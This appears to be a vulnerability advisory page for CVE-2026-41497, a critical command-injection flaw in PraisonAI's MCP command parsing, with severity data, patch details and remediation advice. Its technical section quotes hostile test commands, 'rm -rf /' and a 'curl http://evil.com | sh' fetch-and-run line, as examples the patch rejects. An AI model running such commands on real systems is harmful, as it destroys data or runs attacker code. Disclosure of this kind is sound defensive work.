What is the CVSS score of CVE-2026-41497?

CVE-2026-41497 has a CVSS 3.1 base score of 9.8 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.1%.

Which versions of PraisonAI are affected by CVE-2026-41497?

PraisonAI MCP server versions prior to 4.6.9 contain a critical command injection vulnerability allowing unauthenticated remote attackers to execute arbitrary operating system commands on affected…. A patch is available.

How to fix or mitigate CVE-2026-41497?

Within 24 hours: Inventory all PraisonAI deployments and identify current versions; isolate affected systems from production networks if immediate patching is not feasible. Within 7 days: Apply vendor-released patch version 4.6.9 (upstream version 1.5.69) to all PraisonAI instances; validate patch deployment through version verification. Within 30 days: Conduct incident response review to identify any unauthorized access attempts; implement network segmentation to restrict MCP server communications to trusted endpoints only.

PraisonAI CVE-2026-41497

EUVD-2026-28595 CRITICAL

Command Injection (CWE-77)

2026-05-08 security-advisories@github.com

GHSA-9qhq-v63v-fv3j

Python Command Injection RCE

9.8

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

9.8 CRITICAL

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

May 08, 2026 - 14:32 vuln.today

Analysis Generated

May 08, 2026 - 14:32 vuln.today

CVE Published

May 08, 2026 - 14:16 nvd

CRITICAL 9.8

DescriptionGitHub Advisory

PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.

AnalysisAI

Command injection in PraisonAI's MCP server command handler enables remote unauthenticated attackers to execute arbitrary operating system commands. The vulnerability exists in parse_mcp_command() which accepts MCP server commands without validating executables or arguments, allowing injection of shell commands like 'bash -c', 'python -c', or '/bin/sh -c' with inline code execution. GitHub security advisory GHSA-9qhq-v63v-fv3j confirms this is an incomplete fix for CVE-2026-34935. Vendor-released patch version 4.6.9 (upstream version 1.5.69) implements an allowlist of permitted MCP executables and validates commands against ALLOWED_MCP_COMMANDS. No active exploitation confirmed (not in CISA KEV); proof-of-concept exploit code published in advisory demonstrates trivial exploitation.

Technical ContextAI

PraisonAI is a Python-based multi-agent teams system that integrates with Model Context Protocol (MCP) servers. The vulnerability affects the MCPHandler class in src/praisonai/praisonai/cli/features/mcp.py, specifically the parse_mcp_command() method responsible for parsing MCP server command strings into subprocess-executable components. MCP servers are external tools that agents can invoke, typically launched via commands like 'npx @modelcontextprotocol/server-time' or 'uvx mcp-server'. The vulnerable code uses shlex.split() to parse command strings but performs no validation before passing results to subprocess execution. This is a classic CWE-77 (Command Injection via Improper Neutralization of Special Elements) vulnerability. The patch introduces a hardcoded ALLOWED_MCP_COMMANDS set containing legitimate MCP executables (npx, node, python, uvx, uv, docker, deno, bun, pipx) and validates the basename of the command against this allowlist using os.path.basename() before execution. The fix commit 47bff654 adds both the allowlist enforcement and comprehensive unit tests covering rejection of dangerous commands like 'rm -rf /', 'curl http://evil.com | sh', and shell invocations with inline code.

RemediationAI

Upgrade PraisonAI to version 4.6.9 or later (pip install --upgrade praisonai>=4.6.9). For environments using praisonai-agents directly, upgrade to version 1.5.69 or later. The fix is implemented in commit 47bff65413beaa3c21bf633c1fae4e684348368c which adds ALLOWED_MCP_COMMANDS allowlist validation to parse_mcp_command(). Verify patched version with: python -c 'import praisonai; print(praisonai.__version__)'. If immediate upgrade is not feasible, implement input validation at the application layer before passing MCP commands to PraisonAI: restrict MCP command sources to administrator-controlled configuration files only (not user input or external APIs); implement allowlist validation matching the patch (permit only npx, node, python, uvx, uv, docker, deno, bun, pipx executables); reject any commands containing shell metacharacters or argument flags like '-c' outside trusted contexts. TRADE-OFFS: Input filtering as a workaround requires duplicating the patch logic and may break if PraisonAI's expected command format evolves. Network-level controls (firewall rules, network segmentation) do not mitigate this vulnerability if the vulnerable service is reachable. The only reliable mitigation is upgrading to the patched version. Patch references: https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c and https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j.